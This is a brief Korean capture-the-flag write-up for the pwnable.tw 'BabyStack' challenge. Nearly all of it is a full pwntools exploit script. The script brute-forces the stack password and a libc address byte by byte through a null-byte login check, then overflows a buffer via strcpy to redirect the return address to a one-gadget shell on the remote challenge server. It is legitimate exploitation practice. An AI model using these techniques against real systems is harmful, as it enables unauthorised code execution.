[pwnable.tw]BabyStack

  • strncpy, strcpy, Null Byte Bypass

pwnable.xyz에서 풀어본거랑 iape였나? 거의 똑같은 문제다. urandom값, libc 값 leak해서 ret만 oneshot으로 잘 덮어주면 된다.

from pwn import *

context.log_level = 'debug'
e = ELF('./babystack')
# libc = e.libc
libc = ELF('./libc_64.so.6')
# p = process('./babystack')
p = remote('chall.pwnable.tw',10205)
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
ru = lambda x : p.recvuntil(x)
rl = lambda : p.recvline()
rc = lambda x : p.recv(x)

def enter_password(password):
	sa('>>','1')
	sa('Your passowrd :',password)

def copy(data):
	sa('>>','3')
	sa('Copy :',data)

def chk_password():
	password = ""
	for i in range(0,0x10):
		print password
		for j in range(1,0xff):
			tmp = password + chr(j) + '\x00'
			sa('>>','1')
			sa('Your passowrd :',tmp)
			if 'Login Success !' in p.recvline():
				password += chr(j)
				sa('>>','1')
				break
			else:
				pass
	return password[::-1]

def chk_libc():
	libc = ""
	for i in range(0,6):
		print libc
		for j in range(1,0xff):
			tmp = "B"*16+'\x31'+"B"*7+libc + chr(j) + '\x00'
			sa('>>','1')
			sa('Your passowrd :',tmp)
			if 'Login Success !' in p.recvline():
				libc += chr(j)
				sa('>>','1')
				break
			else:
				pass
	return libc

def leak_libc():
	enter_password('\x00'+'B'*87)
	copy('A'*63)
	sa('>>','1')
	libc_base = u64(chk_libc().ljust(8,'\x00')) - 0x6ffb4
	return libc_base

def exploit(password,libc_base):
	# 0x45216 0x4526a 0xf02a4 0xf1147
	# 0x45216 0x4526a 0xef6c4 0xf0567
	enter_password('\x00'+'C'*63+password+'C'*24+p64(libc_base + 0x45216))
	copy('B'*63)
	sa('>>','2') # ret -> oneshot

password = chk_password()[::-1]
log.info('password : ' + password)
libc_base = leak_libc()
log.info('libc_base : {}'.format(hex(libc_base)))
exploit(password,libc_base)

p.interactive()